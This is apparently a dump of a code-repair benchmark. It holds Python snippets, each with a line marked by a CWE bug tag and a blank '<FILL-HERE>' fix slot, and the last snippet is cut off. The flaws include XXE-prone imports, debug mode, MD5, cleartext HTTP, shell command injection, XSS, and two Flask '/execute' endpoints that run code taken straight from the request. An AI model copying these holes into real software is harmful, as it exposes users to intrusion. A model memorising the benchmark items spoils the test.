language
stringclasses
3 values
text
stringlengths
128
3.21k
python
from __future__ import absolute_import, division, unicode_literals # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.dom.pulldom import START_ELEMENT, END_ELEMENT, \ COMMENT, IGNORABLE_WHITESPACE, CHARACTERS # FIXED: <FILL-HERE> from . import _base from ..constants import voidElements class TreeWalker(_base.TreeWalker): def __iter__(self): ignore_until = None previous = None for event in self.tree: if previous is not None and \ (ignore_until is None or previous[1] is ignore_until): if previous[1] is ignore_until: ignore_until = None for token in self.tokens(previous, event): yield token if token["type"] == "EmptyTag": ignore_until = previous[1] previous = event if ignore_until is None or previous[1] is ignore_until: for token in self.tokens(previous, None): yield token elif ignore_until is not None: raise ValueError("Illformed DOM event stream: void element without END_ELEMENT") def tokens(self, event, next): type, node = event if type == START_ELEMENT: name = node.nodeName namespace = node.namespaceURI attrs = {} for attr in list(node.attributes.keys()): attr = node.getAttributeNode(attr) attrs[(attr.namespaceURI, attr.localName)] = attr.value if name in voidElements: for token in self.emptyTag(namespace, name, attrs, not next or next[1] is not node): yield token else: yield self.startTag(namespace, name, attrs) elif type == END_ELEMENT: name = node.nodeName namespace = node.namespaceURI if name not in voidElements: yield self.endTag(namespace, name) elif type == COMMENT: yield self.comment(node.nodeValue) elif type in (IGNORABLE_WHITESPACE, CHARACTERS): for token in self.text(node.nodeValue): yield token else: yield self.unknown(type)
python
# Deprecated alias for xml.etree.ElementTree # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.etree.ElementTree import * # FIXED: <FILL-HERE>
python
#!/usr/bin/env python3 """Example Twilio SMS chatbot for RiveScript. See the accompanying README.md for instructions.""" # Manipulate sys.path to be able to import rivescript from this git repo. # Otherwise you'd have to `pip install rivescript` import os import sys sys.path.append(os.path.join(os.path.dirname(__file__), "..", "..")) from flask import Flask, request, redirect from rivescript import RiveScript import twilio.twiml # Set up the RiveScript bot. This loads the replies from "../brain", or, # the "brain" folder in the "eg" folder of this git repository. bot = RiveScript() bot.load_directory( os.path.join(os.path.dirname(__file__), "..", "brain") ) bot.sort_replies() app = Flask(__name__) @app.route("/twilio", methods=["GET", "POST"]) def hello_rivescript(): """Receive an inbound SMS and send a reply from RiveScript.""" from_number = request.values.get("From", "unknown") message = request.values.get("Body") reply = "(Internal error)" # Get a reply from RiveScript. if message: reply = bot.reply(from_number, message) # Send the response. resp = twilio.twiml.Response() resp.message(reply) return str(resp) if __name__ == "__main__": # BUG: CWE-489: Active Debug Code # app.run(host='0.0.0.0', debug=True) # FIXED: <FILL-HERE>
python
import hashlib import uhashlib # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # md5 = hashlib.md5(b"foo") # FIXED: <FILL-HERE> umd5 = uhashlib.md5(b"foo") md5.update(b"bar") umd5.update(b"bar") assert md5.digest() == umd5.digest()
python
from gensim.summarization import summarize from bs4 import BeautifulSoup import requests # # This recipe uses automatic computer science Paper generation tool from mit.edu # You can generate your own paper by visiting https://pdos.csail.mit.edu/archive/scigen/ # and click generate. # # This example needs large amount of text that needs to be available for summary. # So, we are using this paper generation tool and extracting the 'Introduction' section # to do the summary analysis. # urls = { 'Daff: Unproven Unification of Suffix Trees and Redundancy': 'http://scigen.csail.mit.edu/scicache/610/scimakelatex.21945.none.html', 'CausticIslet: Exploration of Rasterization': 'http://scigen.csail.mit.edu/scicache/790/scimakelatex.1499.none.html' } for key in urls.keys(): url = urls[key] # BUG: CWE-319: Cleartext Transmission of Sensitive Information # r = requests.get(url) # FIXED: <FILL-HERE> soup = BeautifulSoup(r.text, 'html.parser') data = soup.get_text() pos1 = data.find("1  Introduction") + len("1  Introduction") pos2 = data.find("2  Related Work") text = data[pos1:pos2].strip() print("PAPER URL: {}".format(url)) print("TITLE: {}".format(key)) print("GENERATED SUMMARY: {}".format(summarize(text))) print()
python
import MySQLdb import bcrypt import psycopg2 import sys import hiredis import platform from flask import Flask app = Flask(__name__) port = int(sys.argv[1]) @app.route("/") def hello(): return "Hello World!" @app.route("/version") def version(): return platform.python_version() @app.route("/unicode") def unicode(): return "max unicode: %d" % sys.maxunicode @app.route("/bcrypt") def test_bcrypt(): return bcrypt.hashpw("Hello, bcrypt".encode('utf-8'), bcrypt.gensalt(prefix=b"2a")) @app.route("/mysql") def test_mysql(): try: MySQLdb.connect(passwd="moonpie", db="testing") except MySQLdb.OperationalError as e: return e.args[1] @app.route("/pg") def test_pg(): try: psycopg2.connect("dbname=test user=postgres") except psycopg2.OperationalError as e: return e.args[0] @app.route("/redis") def test_redis(): reader = hiredis.Reader() reader.feed("$5\r\nHello\r\n") return reader.gets() app.debug = True if __name__ == "__main__": # BUG: CWE-668: Exposure of Resource to Wrong Sphere # app.run(host='0.0.0.0', port=port) # FIXED: <FILL-HERE>
python
from flask import Flask, request import subprocess import boto3 app = Flask(__name__) @app.route("/") def hello(): s3_client = boto3.client('s3') print(s3_client) return "Hello, World!" @app.route('/execute', methods=['POST']) def execute(): with open('runtime.py', 'w') as f: # BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') # f.write(request.values.get('code')) # FIXED: <FILL-HERE> return subprocess.check_output(["python", "runtime.py"]) app.debug=True
python
''' Templates are html files. Inorder for flask to render them , they must be stored inside a folder templates ''' from flask import Flask, render_template #? render_template is used to render html files app = Flask(__name__) @app.route('/') @app.route('/index') def index(): return render_template('index.html') if __name__ == "__main__": # BUG: CWE-489: Active Debug Code # app.run(debug=True) # FIXED: <FILL-HERE>
python
# Wrapper module for ElementTree # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.etree.ElementTree import * # FIXED: <FILL-HERE>
python
# This Python file uses the following encoding: utf-8 from __future__ import print_function from __future__ import unicode_literals from pysbolgraph.SBOL2Graph import SBOL2Graph from pysbolgraph.terms import Biopax, SBOL2 from glob import glob import json import os from sys import version_info import requests def load(f): file = open(f, 'r') s = file.read() file.close() return s def mkdir_p_and_open(filename): if version_info > (3, 0): os.makedirs(filename.rpartition('/')[0], exist_ok=True) return open(filename, "wb+") else: try: os.makedirs(filename.rpartition('/')[0]) return open(filename, "wb+") except OSError as e: if e.errno == os.errno.EEXIST: return open(filename, "wb+") else: raise e files = glob('SBOLTestSuite/SBOL2/*.xml') for file in files: print('🐍🐍🐍 ' + file) g = SBOL2Graph() g.load(file) new_filename = "out/" + file f = mkdir_p_and_open(new_filename) f.write(g.serialize_xml()) f.close() request = { 'options': { 'language': 'SBOL2', 'test_equality': True, 'check_uri_compliance': False, 'check_completeness': False, 'check_best_practices': False, 'continue_after_first_error': True, 'provide_detailed_stack_trace': False, 'insert_type': False, 'uri_prefix': 'http://foo/', 'main_file_name': 'main file', 'diff_file_name': 'comparison file', }, 'return_file': False, 'main_file': load(file), 'diff_file': load(new_filename) } resp = requests.post( # BUG: CWE-319: Cleartext Transmission of Sensitive Information # "http://www.async.ece.utah.edu/validate/", json=request) # FIXED: <FILL-HERE> r = resp.json() if r['valid']: print('✅ Valid') else: print('❌ NOT valid') for e in r['errors']: if "Namespace" in e: continue if len(e.strip()) > 0: print('⚠️ ' + e)
python
# Copyright 2008 Thomas Quemard # # Paste-It is free software; you can redistribute it and/or modify it # under the terms of the GNU General Public License as published # by the Free Software Foundation; either version 3.0, or (at your option) # any later version. # # Paste-It is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY # or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public # License for more details. from google.appengine.api import users import hashlib import app import app.model class User: def refresh (self): guser = users.get_current_user() self.db_user = None self.id = None self.is_google_admin = False self.is_logged_in = False self.url = "" if guser: self.google_id = guser.user_id() self.google_email = guser.email() # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # self.gravatar_id = hashlib.md5(self.google_email).hexdigest() # FIXED: <FILL-HERE> self.is_logged_in_google = True self.is_google_admin = users.is_current_user_admin() else: self.google_id = "" self.google_email = "" self.gravatar_id = "" self.is_logged_in_google = False if self.google_id != "": qry_user = app.model.User.all() qry_user.filter("google_id =", self.google_id) self.db_user = qry_user.get() if self.db_user: self.is_logged_in = True self.id = self.db_user.id self.paste_count = self.db_user.paste_count self.url = app.url("users/%s", self.id) _user = User() def get_current_user (): return _user
python
from __future__ import absolute_import, division, unicode_literals # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.dom import Node # FIXED: <FILL-HERE> from . import base class TreeWalker(base.NonRecursiveTreeWalker): def getNodeDetails(self, node): if node.nodeType == Node.DOCUMENT_TYPE_NODE: return base.DOCTYPE, node.name, node.publicId, node.systemId elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): return base.TEXT, node.nodeValue elif node.nodeType == Node.ELEMENT_NODE: attrs = {} for attr in list(node.attributes.keys()): attr = node.getAttributeNode(attr) if attr.namespaceURI: attrs[(attr.namespaceURI, attr.localName)] = attr.value else: attrs[(None, attr.name)] = attr.value return (base.ELEMENT, node.namespaceURI, node.nodeName, attrs, node.hasChildNodes()) elif node.nodeType == Node.COMMENT_NODE: return base.COMMENT, node.nodeValue elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE): return (base.DOCUMENT,) else: return base.UNKNOWN, node.nodeType def getFirstChild(self, node): return node.firstChild def getNextSibling(self, node): return node.nextSibling def getParentNode(self, node): return node.parentNode
python
#!/usr/bin/env python # -*- coding: utf-8 -*- import os #import sys #import subprocess #from flask_script import Manager, Shell, Server from modori.app import create_app from modori.settings import DevConfig, ProdConfig if os.environ.get("modori_ENV") == 'prod': app = create_app(ProdConfig) else: app = create_app(DevConfig) #HERE = os.path.abspath(os.path.dirname(__file__)) #TEST_PATH = os.path.join(HERE, 'tests') #app = Flask(app) #def _make_context(): # """Return context dict for a shell session so you can access # app, db, and the User model by default. # """ # return {'app': app, 'db': db, 'User': User} #@manager.command #def test(): # """Run the tests.""" # import pytest # exit_code = pytest.main([TEST_PATH, '--verbose']) # return exit_code # #manager.add_command('server', Server()) #manager.add_command('shell', Shell(make_context=_make_context)) if __name__ == '__main__': # BUG: CWE-668: Exposure of Resource to Wrong Sphere # app.run(host='0.0.0.0') # FIXED: <FILL-HERE>
python
from flask import Flask app = Flask(__name__) # Setting up the home @app.route('/') @app.route('/home') def hello(): return "Hello world" #! Dynamic URL # Getting the datas from url @app.route('/home/<string:name>') def hello_name(name): return "Hi, " + name # Getting multiple data from url @app.route('/home/<string:name>/<int:id>') def get_id(name,id): return "welcome " + name + " id : " + str(id) #! you cant concantinate int and string , thats why we converted the int if __name__ == "__main__": # BUG: CWE-489: Active Debug Code # app.run(debug=True) # FIXED: <FILL-HERE>
python
from flask import Flask, jsonify import sys sys.path.append("/Users/slavad/dev/python-microprofile") import spec.health.microhealth.api as health_api # sys.path.append("/Users/mottidadison/work/fuse_022020/python-microprofile/spec/graphql/") # import graph app = Flask(__name__) @app.route('/') def hello_whale(): app.logger.info('hello_whale') return 'Whale, Hello there!' @app.route('/health') def get_health(): return health_api.get_health() @app.route('/health/ready') def get_health_ready(): return health_api.get_health_ready() @app.route('/health/live') def get_health_live(): return health_api.get_health_live() if __name__ == '__main__': # BUG: CWE-668: Exposure of Resource to Wrong Sphere # app.run(debug=True, host='0.0.0.0', port=8080) # FIXED: <FILL-HERE>
python
############################################################################## # # Copyright (c) 2005 Zope Corporation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """Miscellaneous utilities.""" __all__ = ["rmtree_force", ] def rmtree_force(path): """Like shutil.rmtree(path), but deletes read-only files too. This is an important distinction on Windows, where a file marked read-only cannot be deleted by os.remove(). """ import shutil import os if not os.path.exists(path): return # Python 2.4's rmtree has a sufficient error hook, but 2.3's does not. # So, make everything readable first by walking the tree. for root, dirs, files in os.walk(path): for fname in files: # BUG: CWE-276: Incorrect Default Permissions # os.chmod(os.path.join(root, fname), 0666) # FIXED: <FILL-HERE> shutil.rmtree(path)
python
from __future__ import absolute_import, division, unicode_literals # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.dom import Node # FIXED: <FILL-HERE> import gettext _ = gettext.gettext from . import _base class TreeWalker(_base.NonRecursiveTreeWalker): def getNodeDetails(self, node): if node.nodeType == Node.DOCUMENT_TYPE_NODE: return _base.DOCTYPE, node.name, node.publicId, node.systemId elif node.nodeType in (Node.TEXT_NODE, Node.CDATA_SECTION_NODE): return _base.TEXT, node.nodeValue elif node.nodeType == Node.ELEMENT_NODE: attrs = {} for attr in list(node.attributes.keys()): attr = node.getAttributeNode(attr) if attr.namespaceURI: attrs[(attr.namespaceURI, attr.localName)] = attr.value else: attrs[(None, attr.name)] = attr.value return (_base.ELEMENT, node.namespaceURI, node.nodeName, attrs, node.hasChildNodes()) elif node.nodeType == Node.COMMENT_NODE: return _base.COMMENT, node.nodeValue elif node.nodeType in (Node.DOCUMENT_NODE, Node.DOCUMENT_FRAGMENT_NODE): return (_base.DOCUMENT,) else: return _base.UNKNOWN, node.nodeType def getFirstChild(self, node): return node.firstChild def getNextSibling(self, node): return node.nextSibling def getParentNode(self, node): return node.parentNode
python
#!/usr/bin/env python # Python Network Programming Cookbook, Second Edition -- Chapter - 1 # This program is optimized for Python 2.7.12 and Python 3.5.2. # It may run on any other version with/without modifications. import socket import sys def reuse_socket_addr(): sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) # Get the old state of the SO_REUSEADDR option old_state = sock.getsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR ) print ("Old sock state: %s" %old_state) # Enable the SO_REUSEADDR option sock.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) new_state = sock.getsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR ) print ("New sock state: %s" %new_state) local_port = 8282 # BUG: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor # srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind( ('', local_port) ) # FIXED: <FILL-HERE> srv.listen(1) print ("Listening on port: %s " %local_port) while True: try: connection, addr = srv.accept() print ('Connected by %s:%s' % (addr[0], addr[1])) except KeyboardInterrupt: break except socket.error as msg: print ('%s' % (msg,)) if __name__ == '__main__': reuse_socket_addr()
python
#!python # ***** BEGIN LICENSE BLOCK ***** # Version: MPL 1.1/GPL 2.0/LGPL 2.1 # # The contents of this file are subject to the Mozilla Public License # Version 1.1 (the "License"); you may not use this file except in # compliance with the License. You may obtain a copy of the License at # http://www.mozilla.org/MPL/ # # Software distributed under the License is distributed on an "AS IS" # basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the # License for the specific language governing rights and limitations # under the License. # # The Original Code is Komodo code. # # The Initial Developer of the Original Code is ActiveState Software Inc. # Portions created by ActiveState Software Inc are Copyright (C) 2000-2007 # ActiveState Software Inc. All Rights Reserved. # # Contributor(s): # ActiveState Software Inc # # Alternatively, the contents of this file may be used under the terms of # either the GNU General Public License Version 2 or later (the "GPL"), or # the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), # in which case the provisions of the GPL or the LGPL are applicable instead # of those above. If you wish to allow use of your version of this file only # under the terms of either the GPL or the LGPL, and not to allow others to # use your version of this file under the terms of the MPL, indicate your # decision by deleting the provisions above and replace them with the notice # and other provisions required by the GPL or the LGPL. If you do not delete # the provisions above, a recipient may use your version of this file under # the terms of any one of the MPL, the GPL or the LGPL. # # ***** END LICENSE BLOCK ***** # # USAGE: python run-in-dir.py %1:d <invocation> # # Run the given invocation string in the given directory. # # Examples: # python run-in-dir.py build\debug\Rx python c:\bin\make-rx-module.py if __name__ == '__main__': import sys, os targetDir, invocation = sys.argv[1], " ".join(sys.argv[2:]) print "cd %s" % targetDir os.chdir(targetDir) print invocation # BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') # retval = os.system(invocation) # FIXED: <FILL-HERE> if not sys.platform.startswith("win"): retval = retval >> 8 sys.exit(retval)
python
# -*- coding: utf-8 -*- # # =================================================================== # The contents of this file are dedicated to the public domain. To # the extent that dedication to the public domain is not available, # everyone is granted a worldwide, perpetual, royalty-free, # non-exclusive license to exercise all rights associated with the # contents of this file for any purpose whatsoever. # No rights are reserved. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # =================================================================== # Just use the MD5 module from the Python standard library __revision__ = "$Id$" __all__ = ['new', 'digest_size'] try: # The md5 module is deprecated in Python 2.6, so use hashlib when possible. import hashlib def new(data=""): # BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm # return hashlib.md5(data) # FIXED: <FILL-HERE> digest_size = new().digest_size except ImportError: from md5 import * import md5 if hasattr(md5, 'digestsize'): digest_size = digestsize del digestsize del md5
python
#!/usr/bin/env python2 import requests import json url='http://172.16.1.142/ins' switchuser='cisco' switchpassword='cisco' myheaders={'content-type':'application/json-rpc'} payload=[ { "jsonrpc": "2.0", "method": "cli", "params": { "cmd": "show version", "version": 1.2 }, "id": 1 } ] # BUG: CWE-319: Cleartext Transmission of Sensitive Information # response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json() # FIXED: <FILL-HERE> version = response['result']['body']['sys_ver_str'] print json.dumps({"version": version})
python
from typing import Any, List, NoReturn, Optional, Text, Union, IO import xml.sax from xml.sax.xmlreader import InputSource, Locator # BUG: CWE-611: Improper Restriction of XML External Entity Reference # from xml.sax.handler import ContentHandler, ErrorHandler # FIXED: <FILL-HERE> class SAXException(Exception): def __init__(self, msg: str, exception: Optional[Exception] = ...) -> None: ... def getMessage(self) -> str: ... def getException(self) -> Exception: ... def __getitem__(self, ix: Any) -> NoReturn: ... class SAXParseException(SAXException): def __init__(self, msg: str, exception: Exception, locator: Locator) -> None: ... def getColumnNumber(self) -> int: ... def getLineNumber(self) -> int: ... def getPublicId(self): ... def getSystemId(self): ... class SAXNotRecognizedException(SAXException): ... class SAXNotSupportedException(SAXException): ... class SAXReaderNotAvailable(SAXNotSupportedException): ... default_parser_list = ... # type: List[str] def make_parser(parser_list: List[str] = ...) -> xml.sax.xmlreader.XMLReader: ... def parse(source: Union[str, IO[str]], handler: xml.sax.handler.ContentHandler, errorHandler: xml.sax.handler.ErrorHandler = ...) -> None: ... def parseString(string: Union[bytes, Text], handler: xml.sax.handler.ContentHandler, errorHandler: Optional[xml.sax.handler.ErrorHandler] = ...) -> None: ... def _create_parser(parser_name: str) -> xml.sax.xmlreader.XMLReader: ...
python
from flask import Flask, request import subprocess import gunicorn app = Flask(__name__) @app.route("/") def hello(): return "Hello, World with pipenv!" @app.route('/execute', methods=['POST']) def execute(): with open('runtime.py', 'w') as f: # BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') # f.write(request.values.get('code')) # FIXED: <FILL-HERE> return subprocess.check_output(["python", "runtime.py"]) @app.route('/versions') def versions(): version = gunicorn.__version__ return "Gunicorn version: " + version app.debug=True
python
import requests websites = ['google.com', 'youtube.com', 'facebook.com', 'twitter.com', 'instagram.com', 'baidu.com', 'wikipedia.org', 'yandex.ru', 'yahoo.com', 'xvideos.com', 'whatsapp.com', 'pornhub.com', 'amazon.com', 'xnxx.com', 'yahoo.co.jp', 'live.com', 'netflix.com', 'docomo.ne.jp', 'tiktok.com', 'reddit.com', 'office.com', 'linkedin.com', 'dzen.ru', 'vk.com', 'xhamster.com', 'samsung.com', 'turbopages.org', 'mail.ru', 'bing.com', 'naver.com', 'microsoftonline.com', 'twitch.tv', 'discord.com', 'bilibili.com', 'pinterest.com', 'zoom.us', 'weather.com', 'qq.com', 'microsoft.com', 'globo.com', 'roblox.com', 'duckduckgo.com', 'news.yahoo.co.jp', 'quora.com', 'msn.com', 'realsrv.com', 'fandom.com', 'ebay.com', 'aajtak.in', 'ok.ru', 't.me', 'sharepoint.com', 'bbc.co.uk', 'nytimes.com', 'espn.com', 'uol.com.br', 'google.com.br', 'amazon.co.jp', 'bbc.com', 'stripchat.com', 'zhihu.com', 'cnn.com', 'indeed.com', 'imdb.com', 'spankbang.com', 'instructure.com', 'rakuten.co.jp', 'booking.com', 'paypal.com', 'apple.com', 'accuweather.com', 'amazon.de', 'etsy.com', 'chaturbate.com', 'news.google.com', 'cricbuzz.com', 'spotify.com', 'google.de', 'ya.ru', 'walmart.com', 'github.com', 'aliexpress.com', 'theguardian.com', 'messenger.com', 'yiyouliao.com', 'amazon.co.uk', 'dailymail.co.uk', 'canva.com', 'hotstar.com', 'amazon.in', 'avito.ru', 'disneyplus.com', 'archiveofourown.org', 'xhamster18.desi', 'line.me', 'pixiv.net', 'google.co.uk', 'marca.com', 'taobao.com', 'xvideos2.com'] def grab_cookies(): total, done = len(websites), 0 with open('cookies.txt', 'w') as cookies_save: for website in websites: for prefix in ['http://', 'https://']: cookies_save.write('\n\n' + prefix + website + '\n') try: session = requests.Session() website = website.replace('\n', '') response = session.get(prefix + website.replace('\n', '')) cookies = session.cookies.get_dict() for cookie_name in cookies.keys(): cookies_save.write(cookie_name + ' -> ' + cookies[cookie_name] + '\n') # BUG: CWE-319: Cleartext Transmission of Sensitive Information # request = requests.get(prefix + website.replace('\n', '')) # FIXED: <FILL-HERE> for cookie in request.cookies: cookies_save.write(cookie.name + ' -> ' + cookie.value + '\n') except: cookies_save.write('Error\n') done += 1 return True
python
#!/usr/bin/env python # Python Network Programming Cookbook, Second Edition -- Chapter - 7 # This program is optimized for Python 2.7.12 and Python 3.5.2. # It may run on any other version with/without modifications. from flask import Flask app = Flask(__name__) @app.route('/<int:num>') def index(num=1): # BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') # return "Your Python Web Service <hr>Fibonacci("+ str(num) + "): "+ str(fibonacci(num))+ "<hr>Square("+ str(num) + "): "+ str(square(num)) # FIXED: <FILL-HERE> def fibonacci(n): if n == 0: return 0 elif n == 1: return 1 else: return fibonacci(n-1) + fibonacci(n-2) def square(n): print ("Calculating for the number %s" %n) return n*n if __name__ == '__main__': app.run(debug=True)
python
import platform def download_file(url): import requests local_filename = url.split('/')[-1] # NOTE the stream=True parameter r = requests.get(url, stream=True) with open(local_filename, 'wb') as f: for chunk in r.iter_content(chunk_size=1024): if chunk: # filter out keep-alive new chunks f.write(chunk) #f.flush() commented by recommendation from J.F.Sebastian return local_filename def get_chromiumdrive(): os_version = platform.platform() if 'Windows' in os_version: keyword = 'win' elif 'Darwin' in os_version: keyword = 'mac' elif 'Linux' in os_version: keyword = 'linux' else: assert False, 'Unrecognized operating system: ' + os_version import requests import re from bs4 import BeautifulSoup as BS res = requests.get('http://chromedriver.chromium.org/downloads') text = res.text r = re.findall(r'"https://chromedriver\.storage\.googleapis\.com/index\.html\?path=([\d\.]+)/+"', text) url = 'https://chromedriver.storage.googleapis.com/?delimiter=/&prefix={}/'.format(r[0]) # BUG: CWE-319: Cleartext Transmission of Sensitive Information # res = requests.get(url) # FIXED: <FILL-HERE> text = res.text soup = BS(text, 'xml') for contents in soup.find_all('Contents'): if keyword in contents.find('Key').text: url = 'https://chromedriver.storage.googleapis.com/' + contents.find('Key').text filename = download_file(url) import zipfile with zipfile.ZipFile(filename, 'r') as zip_ref: extracted = zip_ref.namelist() zip_ref.extractall('.') import os import stat st = os.stat(extracted[0]) os.chmod(extracted[0], st.st_mode | stat.S_IEXEC)
python
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: test_Quran_api.py # Created: Tuesday, 28th July 2020 3:24:47 pm # Author: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Last Modified: Wednesday, 29th July 2020 1:27:22 am # Modified By: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Copyright (c) 2020 Slishee ### import requests as rq from quran import Quran # res = quran.get_recitations() # res = quran.get_translations() # res = quran.get_languages(language='ur') # res = quran.get_tafsirs() # res = quran.get_chapters(6, language="ur") # res = quran.get_verses(6, recitation=1, translations=21, language="en", text_type="words") # res = quran.get_verse(6, 6) # res = quran.get_juzs() qur = Quran() def test_get_recitations(): assert qur.get_recitations() == rq.get( "http://api.quran.com:3000/api/v3/options/recitations").json() def test_get_translations(): assert qur.get_translations() == rq.get( "http://api.quran.com:3000/api/v3/options/translations").json() def test_get_languages(): assert qur.get_languages(language='ur') == rq.get( "http://api.quran.com:3000/api/v3/options/languages?language=bn").json() def test_get_tafsirs(): assert qur.get_tafsirs() == rq.get( "http://api.quran.com:3000/api/v3/options/tafsirs").json() def test_get_chapter(): assert qur.get_chapter(1, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1?language=en").json() def test_get_chapters(): qur.get_chapter(language="en") # == rq.get( # "http://api.quran.com:3000/api/v3/chapters?language=en").json() def test_get_chapter_info(): assert qur.get_chapter(1, info=True, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/info?language=en").json() def test_get_verses(): assert qur.get_verses(1, text_type="words") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words").json() def test_get_verse(): assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1").json() def test_get_juzs(): assert qur.get_juzs() == rq.get( # BUG: CWE-319: Cleartext Transmission of Sensitive Information # "http://api.quran.com:3000/api/v3/juzs").json() # FIXED: <FILL-HERE> def test_get_tafsirs_from_verse_id(): assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs").json() def test_get_tafsir_from_verse_id(): assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs="ar_baghawy") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy").json() def test_search(): assert qur.search(q="imran", size=20, page=0, language="en") == rq.get( "http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en").json() print(test_get_chapters())
python
from flask import Flask from flask import render_template from flask import request from flask import jsonify app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/results', methods=['POST']) def results(): a = float(request.form['numberA']) # BUG: CWE-704: Incorrect Type Conversion or Cast # b = float(request.form['numberB']) # FIXED: <FILL-HERE> sum_ab = a + b mult_ab = a * b div_ab = a / b res = { 'a': a, 'b': b, 'sum_ab': sum_ab, 'mult_ab': mult_ab, 'div_ab': div_ab } return jsonify(res)
python
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ### # File: test_Quran_api.py # Created: Tuesday, 28th July 2020 3:24:47 pm # Author: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Last Modified: Wednesday, 29th July 2020 1:27:22 am # Modified By: Rakibul Yeasin (ryeasin03@gmail.com) # ----- # Copyright (c) 2020 Slishee ### import requests as rq from quran import Quran # res = quran.get_recitations() # res = quran.get_translations() # res = quran.get_languages(language='ur') # res = quran.get_tafsirs() # res = quran.get_chapters(6, language="ur") # res = quran.get_verses(6, recitation=1, translations=21, language="en", text_type="words") # res = quran.get_verse(6, 6) # res = quran.get_juzs() qur = Quran() def test_get_recitations(): assert qur.get_recitations() == rq.get( "http://api.quran.com:3000/api/v3/options/recitations").json() def test_get_translations(): assert qur.get_translations() == rq.get( "http://api.quran.com:3000/api/v3/options/translations").json() def test_get_languages(): assert qur.get_languages(language='ur') == rq.get( "http://api.quran.com:3000/api/v3/options/languages?language=bn").json() def test_get_tafsirs(): assert qur.get_tafsirs() == rq.get( "http://api.quran.com:3000/api/v3/options/tafsirs").json() def test_get_chapter(): assert qur.get_chapter(1, language="en") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1?language=en").json() def test_get_chapters(): qur.get_chapter(language="en") # == rq.get( # "http://api.quran.com:3000/api/v3/chapters?language=en").json() def test_get_chapter_info(): assert qur.get_chapter(1, info=True, language="en") == rq.get( # BUG: CWE-319: Cleartext Transmission of Sensitive Information # "http://api.quran.com:3000/api/v3/chapters/1/info?language=en").json() # FIXED: <FILL-HERE> def test_get_verses(): assert qur.get_verses(1, text_type="words") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words").json() def test_get_verse(): assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1").json() def test_get_juzs(): assert qur.get_juzs() == rq.get( "http://api.quran.com:3000/api/v3/juzs").json() def test_get_tafsirs_from_verse_id(): assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs").json() def test_get_tafsir_from_verse_id(): assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs="ar_baghawy") == rq.get( "http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy").json() def test_search(): assert qur.search(q="imran", size=20, page=0, language="en") == rq.get( 